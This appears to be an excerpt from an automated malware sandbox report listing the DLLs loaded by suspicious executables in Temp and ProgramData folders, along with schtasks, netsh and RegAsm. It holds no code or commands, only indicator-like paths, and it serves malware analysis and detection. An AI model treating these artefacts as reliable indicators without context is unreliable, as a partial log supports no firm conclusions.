Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: wsock32.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: version.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: winmm.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: mpr.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: wininet.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: userenv.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: wldp.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: propsys.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: profapi.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: edputil.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: urlmon.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: iertutil.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: srvcli.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: netutils.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: sspicli.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: wintypes.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: appresolver.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: slc.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: sppc.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: pcacli.dll
Source: C:\Users\user\1000021002\ac861238af.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winmm.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rstrtmgr.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ncrypt.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ntasn1.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: d3d11.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dxgi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: resourcepolicyclient.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: d3d10warp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dxcore.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winhttp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: wininet.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: mswsock.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: devobj.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: webio.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: iphlpapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winnsi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dnsapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rasadhlp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: fwpuclnt.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: schannel.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: mskeyprotect.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ncryptsslp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: msasn1.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: gpapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: vaultcli.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: wintypes.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: wldp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ntmarta.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dpapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winmm.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rstrtmgr.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ncrypt.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ntasn1.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: d3d11.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dxgi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: resourcepolicyclient.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: d3d10warp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dxcore.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winhttp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: wininet.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: mswsock.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: devobj.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: webio.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: iphlpapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
